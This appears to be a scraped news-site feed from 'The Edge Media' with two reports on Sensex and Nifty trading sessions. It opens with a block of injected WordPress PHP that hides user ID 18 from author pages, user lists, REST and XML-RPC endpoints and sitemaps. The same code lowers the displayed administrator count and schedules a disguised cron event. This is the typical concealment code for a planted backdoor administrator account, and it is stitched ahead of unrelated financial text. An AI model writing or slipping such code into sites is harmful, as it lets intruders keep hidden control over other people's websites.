add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sensex and Nifty End Flat as Auto and Banking Stocks Provide Mild Support appeared first on The Edge Media.
]]>The Sensex moved in a narrow range during the session touching an intraday high of 84127 and a low of 83609 as traders stayed cautious amid lack of new domestic triggers and continued selling by foreign investors. Market analysts said that profit booking at higher levels and sustained foreign fund outflows kept the overall sentiment subdued
Mahindra and Mahindra emerged as the top performer on the Sensex gaining about one point seven percent after reporting steady sales in October. Tata Motors Passenger Vehicles also advanced one point six nine percent while State Bank of India Bharti Airtel and Kotak Mahindra Bank recorded modest gains
On the other hand Maruti Suzuki saw the sharpest fall declining by more than three percent. Other laggards included ITC Tata Consultancy Services Larsen and Toubro Bharat Electronics and Titan which all ended the session in negative territory
Data from the exchanges showed that Foreign Institutional Investors sold equities worth about six thousand seven hundred crore rupees on Friday whereas Domestic Institutional Investors turned net buyers with purchases of over seven thousand crore rupees. This buying helped limit the downside in the broader market
Elsewhere in Asia major indices such as South Korea’s Kospi China’s Shanghai Composite and Hong Kong’s Hang Seng closed higher reflecting a mixed global trend. Meanwhile global crude oil benchmark Brent slipped slightly by 0.14 percent to trade near sixty four dollars per barrel
The post Sensex and Nifty End Flat as Auto and Banking Stocks Provide Mild Support appeared first on The Edge Media.
]]>The post Sensex Hits Record 82,000! Nifty Crosses 25,000 as ICICI Bank & Reliance Power 6-Day Market Rally appeared first on The Edge Media.
]]>
The BSE Sensex closed 142.87 points higher at 82,000.71, after rallying 373.33 points intra-day to touch an all-time high of 82,231.17. The NSE Nifty 50 added 33.20 points to end at 25,083.75, extending its bullish momentum.
Top gainers included ICICI Bank, Reliance Industries, Bajaj Finserv, Bajaj Finance, Larsen & Toubro, and Bharat Electronics, which collectively drove the market higher. However, the rally was not broad-based, with 14 Sensex shares closing positive while 16 ended lower, including Power Grid, Hindustan Unilever, Eternal, and Adani Ports.
Analysts attribute the sustained uptrend to robust foreign inflows, healthy liquidity, and renewed investor confidence ahead of key economic data. Experts suggest that if this momentum continues, the Sensex could test the 82,500 mark in the near term.
With benchmark indices hitting fresh highs, investors are closely watching global market cues, sectoral performance, and FII activity to gauge whether this bull run can sustain or if a profit-booking phase lies ahead.
The post Sensex Hits Record 82,000! Nifty Crosses 25,000 as ICICI Bank & Reliance Power 6-Day Market Rally appeared first on The Edge Media.
]]>